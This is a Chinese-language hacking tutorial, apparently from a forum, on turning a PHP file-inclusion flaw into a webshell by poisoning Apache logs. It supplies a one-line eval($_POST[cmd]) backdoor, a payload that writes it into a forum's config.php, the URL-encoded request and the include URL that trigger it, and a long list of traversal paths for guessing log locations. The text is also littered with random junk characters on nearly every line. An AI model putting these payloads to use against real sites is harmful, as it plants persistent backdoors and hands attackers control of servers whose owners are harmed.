因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。 # b5 j: ?( O6 w( L. r1 Q& s9 o
( g/ g1 W6 I- j) a& i2 l
比如还是这句一句话木马
0 o- \+ e! m! \) S) N; t5 V) J" O<?eval($_POST[cmd]);?>
& i. A4 j, N( m4 D& @7 b; o- j) l1 W& N4 Y% @ {
到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句, 5 [7 H2 x; u& u8 A$ M
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
* {# m# h: I4 y& Z5 e* K5 y# a, }, V4 o' f3 r: B
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>"); - ?, h6 k6 f* s: { w
fclose($fp);?> //在config.php里写入一句木马语句
; c" y9 l5 j X+ ` z M. y
2 G( I3 g( t/ D我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。
( d2 g& q: Q" w4 W: ]转换为 0 i: X6 m8 P! R9 x8 q' L
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F 3 V& z" @0 H- }* y( o
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp 2 |9 R, d# g! i) R+ C8 E
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B 8 a1 X" a% ]& t, b6 r! d
fclose%28%24fp%29%3B%3F%3E ' z0 I8 S7 C9 m5 \
我们提交 ; m% s& ^% ~4 G& r, p/ C
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww r8 S6 ^1 b6 e- @6 S" j3 n. X: w
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
7 A3 r( z6 L9 B( F- k. t6 j%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B . S/ o h! d* @9 z, x
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
) C6 K" r4 a, Q* G- |# O& n8 ?
3 Y. A h& Q9 n2 o% u" |/ t. C4 q3 }这样就错误日志里就记录下了这行写入webshell的代码。 + a: M0 F3 T& \5 N. E9 v
我们再来包含日志,提交 6 b' s$ V7 J% H: e7 J" z8 X& J7 `
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
* P/ r3 `# Z" Y) `# C$ K
/ v0 V4 `5 k7 |7 V. J2 ]2 u这样webshell就写入成功了,config.php里就写入一句木马语句
2 ` g; b1 _ d& O& {1 s& h$ fOK.
, {# |; m! T# _/ Rhttp://www.xxx.com/forum/config.php这个就成了我们的webshell
7 @4 p( Y- m+ w8 } w% N% L直接用lanker的客户端一连,主机就是你的了。 ) Y* {$ [) [: }/ h
* K# p, S4 [: i& i/ Y6 w& H! N
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 . H. u" Y2 {* v6 ^! g; G$ k
% d$ Z4 z# [( T5 [; l4 I% ]! [! U4 S其他的日志路径,你可以去猜,也可以参照这里。 ( Z6 P" _& T/ g
../../../../../../../../../../var/log/httpd/access_log
2 a9 Q) W8 n1 E5 s' ^! x& y../../../../../../../../../../var/log/httpd/error_log
8 o3 H# K; }& ]3 u1 ^../apache/logs/error.log
0 B9 [4 o0 u8 Z, D% p: [3 L../apache/logs/access.log + u- u+ U1 D4 b, f. t$ a
../../apache/logs/error.log ; S" e" \ s0 I0 T4 H
../../apache/logs/access.log Z7 e% o- w! ?% n9 t6 {5 W8 F
../../../apache/logs/error.log
# I$ A, [ p) J R" u../../../apache/logs/access.log
* f8 B0 l# P- Q4 X* K: O, @../../../../../../../../../../etc/httpd/logs/acces_log ! y- O. C% O6 @ N7 p0 i. ^. z
../../../../../../../../../../etc/httpd/logs/acces.log
: ~0 ^" s5 |& i- w4 w../../../../../../../../../../etc/httpd/logs/error_log $ E0 E# n9 g% W5 o. z
../../../../../../../../../../etc/httpd/logs/error.log ( Q+ A2 D3 [* J% M& K" A
../../../../../../../../../../var/www/logs/access_log
& [& k( K$ B# O: T! @; ]$ A../../../../../../../../../../var/www/logs/access.log " j5 A8 g L8 [
../../../../../../../../../../usr/local/apache/logs/access_log
7 F( B/ D) t2 O../../../../../../../../../../usr/local/apache/logs/access.log 3 J# O- X2 \/ B
../../../../../../../../../../var/log/apache/access_log
: `/ j$ q2 C( p5 M [* }/ w../../../../../../../../../../var/log/apache/access.log 9 N3 @: e4 V) [7 w) c
../../../../../../../../../../var/log/access_log * F) h) U% I9 I6 ?4 @1 x3 n
../../../../../../../../../../var/www/logs/error_log
+ A$ U& @8 x/ ~6 a../../../../../../../../../../var/www/logs/error.log
3 f8 d$ d3 d4 J: O../../../../../../../../../../usr/local/apache/logs/error_log 9 I% G g6 V2 o0 R2 B% V
../../../../../../../../../../usr/local/apache/logs/error.log
8 h) r" z) |; @! X3 q* I+ U../../../../../../../../../../var/log/apache/error_log * @ J! t" l1 O9 q
../../../../../../../../../../var/log/apache/error.log
. y' i1 }3 l9 g# H) I../../../../../../../../../../var/log/access_log & _# ?9 ]$ t- ?: Z+ d9 O* @4 _
../../../../../../../../../../var/log/error_log
" T- O% c+ m1 B/ ]; F# P* ^/var/log/httpd/access_log 4 k- M3 |3 V! i5 Q
/var/log/httpd/error_log : K& p$ y, M6 s& P9 t- P/ U
../apache/logs/error.log
( [8 {' O, ?4 ]6 N' ^../apache/logs/access.log
/ X( K9 @, E4 O/ `5 c( i../../apache/logs/error.log , \+ g. B6 Q" ]& G
../../apache/logs/access.log 5 p D0 ]4 h+ }4 A8 w$ @
../../../apache/logs/error.log ' B, K) U/ B$ D
../../../apache/logs/access.log
, k, E/ P: ]1 ^: e2 [4 r/etc/httpd/logs/acces_log
8 Q, a2 ?& F. Z0 {/etc/httpd/logs/acces.log
y/ b! T4 m! j, c% T/etc/httpd/logs/error_log 3 n& V7 L# I1 E- j: ^
/etc/httpd/logs/error.log
6 Y5 I& x; k1 j3 H8 @/var/www/logs/access_log
2 Y9 Y2 _8 }3 P' I/var/www/logs/access.log 1 j, K- R; `8 e
/usr/local/apache/logs/access_log 2 z b: H! \6 ~
/usr/local/apache/logs/access.log 3 x, s: V# L! q0 f7 n- e! m
/var/log/apache/access_log
, a8 |7 b& J5 U! ^8 J, q/var/log/apache/access.log ! }( ?% n% h( s; Z. K* O6 g
/var/log/access_log " Q. w; L( l5 G5 U
/var/www/logs/error_log
' N" o; M: e3 k' ]+ i3 Y: p/var/www/logs/error.log
, K$ L- x3 \1 k7 |/usr/local/apache/logs/error_log 7 @$ V% \" J% `
/usr/local/apache/logs/error.log
/ w" d! a" F0 N8 Z) g7 [/var/log/apache/error_log
, L4 m1 E$ z% B. i* J1 O/var/log/apache/error.log : M: a; B9 | J r4 M3 l
/var/log/access_log $ u5 ?. b5 ?7 Q0 l. @& T6 }- Q) [
/var/log/error_log |